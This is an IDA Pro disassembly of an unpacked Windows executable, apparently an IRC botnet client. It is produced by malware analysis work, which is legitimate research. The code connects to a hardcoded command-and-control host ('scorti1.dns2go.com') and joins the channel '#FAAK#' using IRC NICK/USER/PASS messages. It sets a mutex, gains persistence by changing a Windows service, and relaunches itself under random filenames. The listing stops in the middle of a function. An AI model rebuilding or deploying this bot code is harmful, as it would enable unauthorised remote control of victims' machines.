;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	0C6B3630B4AC803E2530D9AF962D13FF

; File Name   :	u:\work\0c6b3630b4ac803e2530d9af962d13ff_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_41835A+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindsSersAgts ; "Winds Sers Agts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB5F8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB668
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB5A8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB620
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416644p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E58C
		call	dword_4CB6DC
		call	sub_40B2C0
		call	dword_4CB59C
		call	dword_4CB59C
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D7F8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2690B48h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2680CABh
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D7F0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418685
		pop	ecx
		mov	dword_4CB380, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB384, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B13
		push	2
		call	dword_4CB6F0
		push	7530h
		push	offset aQweti	; "qweti"
		push	ebx
		push	ebx
		call	near ptr 26B0077h
		nop
		push	eax
		call	near ptr 26B0000h
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB5B4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2690B48h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26A0EDDh
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC0
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AB8
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26A0D79h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26A0C38h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 26A08B1h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 2690F63h
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418294
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26A0C38h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D7F8
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26A0894h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 26A0290h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AAC
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2680CABh
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2690F63h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB59C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB964, 2
		jle	short loc_401562
		mov	eax, dword_4DB968
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26B0000h
		push	esi
		call	near ptr 26809B4h
		nop
		mov	eax, dword_4DB968
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 2690F63h
		nop
		mov	eax, dword_4DB968
		push	dword ptr [eax+8]
		nop
		call	near ptr 26A01C9h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB714, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	0B80h
		push	ebx
		push	offset dword_43D800
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419A01
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E594[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 26A08B1h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A2C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	2
		call	sub_40B33F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A00
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E594[esi], eax
		jnz	short loc_40169A
		call	near ptr 26A08B1h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299CC
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB38C
		mov	dword_4CB4F8, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB40C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4DC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB44C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4E0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB388
		mov	dword_4CB4F4, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB4F4, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2690F63h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB38C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4DC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB38C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4DC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2C0


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB59C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB644
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E598
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6C4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E58C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6DC
		call	sub_40AB23
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	near ptr 2690F63h
		nop
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AC8
		call	sub_415221
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6DC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB4F0, bl
		jz	short loc_40199A
		push	offset byte_4CB4F0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2D
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6DC
		push	1388h
		nop
		call	near ptr 2690F63h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB65C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2690F63h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
